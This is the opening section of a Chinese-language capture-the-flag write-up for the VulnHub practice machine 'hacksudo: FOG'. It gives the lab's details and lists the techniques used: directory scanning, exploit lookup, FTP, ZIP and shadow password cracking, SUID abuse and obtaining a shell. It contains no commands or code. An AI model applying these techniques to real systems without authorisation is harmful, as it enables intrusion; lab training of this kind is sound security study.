1、环境介绍
靶场介绍：https://www.vulnhub.com/entry/hacksudo-fog,697/
靶场下载：https://download.vulnhub.com/hacksudo/hacksudo-FOG.zip
靶场难度：简单 - 中等
发布日期：2021年05月14日
文件大小：1.3 GB
靶场作者：Vishal Waghmare
靶场系列：hacksudo
靶场描述：
- 这个盒子应该很容易。此机器是为 InfoSec Prep Discord 服务器创建的(https://discord.gg/7ujqrt393b)
- 该盒子是用 Virtualbox 创建的。启动后，使用 netdiscover 工具查找 IP 地址。这是基于您的任何设置的目标地址。您应该验证地址，以防万一。
- 找到 user.txt 和 root.txt 文件，将其提交到 Discord 上的 mybox 频道，并有机会免费获得 hacksudo 机器黑客课程。
- 如果可以的话，一定要发布这个盒子的文章，并通过电子邮件发送副本给我。
- 仅由 vishal Waghmare 创建的盒子此盒子与 VIrtualBox 而非 VMware 配合使用效果更好
打靶耗时：3+小时，倒不是很难，就是步骤有点多，有点绕
打靶关键：
- Web 目录扫描、漏洞查询 与 利用
- FTP 密码爆破 与 操作、ZIP 密码爆破、shadow 密码爆破
- 密文解密
- SUID 利用
- 二进制可执行文件解析、Python 获取 Sehll
